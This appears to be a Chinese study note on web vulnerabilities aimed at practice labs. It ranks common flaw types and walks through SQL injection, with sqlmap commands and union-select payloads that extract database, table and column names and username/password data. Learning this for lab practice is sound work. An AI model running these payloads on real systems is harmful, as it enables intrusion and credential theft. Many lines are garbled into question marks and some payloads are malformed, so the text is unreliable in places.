|
(这个博主笔记写的太详细了,看他的比看我自己的还有用,借用方便日后复习)

一、web漏洞必懂知识点
1、常见web漏洞的危害??
(1)、sql注入
???????? ?????????
(2)、xss
???????? ?
(3)、xxe🌟
???????? ?
(4)、文件上传
?? ? ??
(5)、文件包含
????????
(6)、文件读取
????????
(7)、csrf(用户请求伪造)
??????????????? ?
(8)、ssrf(服务器端请求伪造)
????????
(9)、反序列化
????????
(10)、代码执行
????????
(11)、逻辑漏洞
????????
(12)、未授权访问
? ? ? ? 敏感信息泄漏
(13)、命令执行
???????? ?
(14)、目录遍历
????????
2、等级划分
(1)高危漏洞:
????????SQL注入、文件上传、文件包含、代码执行、未授权访问、命令执行。
? ? ? ? 影响:直接影响到网站权限和数据库权限,能够获取数据或者网站的敏感文件。涉及到数据安全和权限的丢失都为高危漏洞。
(2)中危漏洞
????????反序列化、逻辑安全。
(3)低危漏洞
????????XSS跨站、目录遍历、文件读取
? ? ? ? 影响:网站的源码,网站部分账号密码
3、应用
? ? ? ?( pikachu漏洞练习平台,gihub下载源码,phpstudy搭建)
????????CTF:SQL注入、文件上传、反序列化、代码执行;
????????SRC:图片上漏洞都能出现,逻辑安全出现比较多;
????????红蓝对抗:涉及的高危漏洞,文件上传、文件包含、代码执行、命令执行。
二、sql注入
????????
1、简要sql注入
(1)sql注入产生原理:
? ? ? ? 1)对用户输入的参数没有进行严格过滤(如过滤单双引号 尖括号等),就被带到数据库执行,造成了SQL注入;
? ? ? ? 2)使用了字符串拼接的方式构造SQL语句。
(2)sql注入分类:
? ? ? ? 1)按注入手法分类可以分为:联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入
? ? ? ? 2)按数据类型上可以分为:字符型(即输入的输入使用符号进行过滤)、数值型(即输入的输入未使用符号进行过滤)
? ? ? ? 3)从注入位置可以分类为:GET数据(提交数据方式为GET,大多存在地址栏)、POST数据(提交数据方式为POST,大多存在输入框中)、HTTP头部(提交数据方式为HTTP头部)、cookie数据(提交数据方式为cookie)
(3)sql注入危害:
????????
(4)前置知识
? ? ? ? 1)在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
? ? ? ? 2)数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
? ? ? ? 3)参数:
????????????????information_schema.tables:记录所有表名信息的表
????????????????information_schema.columns:记录所有列名信息的表
????????????????table_name:表名
????????????????column_name:列名
????????????????table_schema:数据库名
????????????????user()??查看当前MySQL登录的用户名
????????????????database() 查看当前使用MySQL数据库名
????????????????version() 查看当前MySQL版本
(5)注入点判断
????????
(6)sql注入步骤:
????????
? ? ? ? 1)注入语句
????????
? ? ? ? 2)sqlmap利用????????
? ? ? ? ? ? ? ? a)获取数据库名
????????get型:python sqlmap.py -u "url" --cookie="" --dbs --batch?
????????post型:? python sqlmap.py -u "url" --cookie="" --data="payload值" --dbs --batch? ? ? ?
???????? ?
? ? ? ? ? ? ? ?b)获取表名
????????get型:python sqlmap.py -u "url" --cookie="" -D 数据库名 --tables --batch
????????post型:python sqlmap.py -u "url" --cookie="" --data="payload值" -D 数据库名 --tables --batch
? ? ? ? ? ? ? ?c)获取表内信息
????????get型:python sqlmap.py -u "url" --cookie="" -D 数据库名 --tables -T 表名 --dump --batch
????????post型:python sqlmap.py -u "url" --cookie="" --data="payload值" -D 数据库名 --tables -T 表名 --dump --batch
(7)演示
? ? ? ? (推荐sqlilabs平台练习,专门的sql注入练习平台)
? ? ? ? 法一、sql注入语句
? ? ? ? 1)测试:
????????????????
????????????????
? ? ?????????? ?//输入特殊字符网页出现错误,说明带数据库查询有注入点,存在sql注入漏洞,经过尝试,发现单引号可将语句闭合,网页对#进行url转义,使用%23代替,注释掉后面的语句
????????????????
? ? ? ? 2)order by查询列数:
? ? ? ? ? ? ? ? 3列不报错,4列报错,所以有3列
???????????????? ? ? ? ? ? ? ? ?
???????????????? ? ? ? ? ?
? ? ? ? 3)联合查询,查询数据库名称(使用联合查询,需要将前面查询的内容改为不可能情况):
union select 1,2,3
?????????????????
? ? ? ? ? ? ? ? 第一列不显示,因此在2或3列查询数据库名称:
union select 1,database(),3
?????????????????
? ? ? ? 4)联合查询数据库表名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%
?????????????????
? ? ? ? 5)查询表中敏感列信息:
union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')
???????????????? ?
? ? ? ? ?6)进一步查询列中敏感信息,如username、password
union select(group_concat(username,password) from users)
???????????????? ?
2、mysql注入
3、类型及提交注入
4、oracle、mangodb注入等
5、查询方式及报错盲注
6、二次、加解密、dns等注入
7、堆叠及waf绕过注入
8、sqlmap绕过waf
三、文件上传
?
|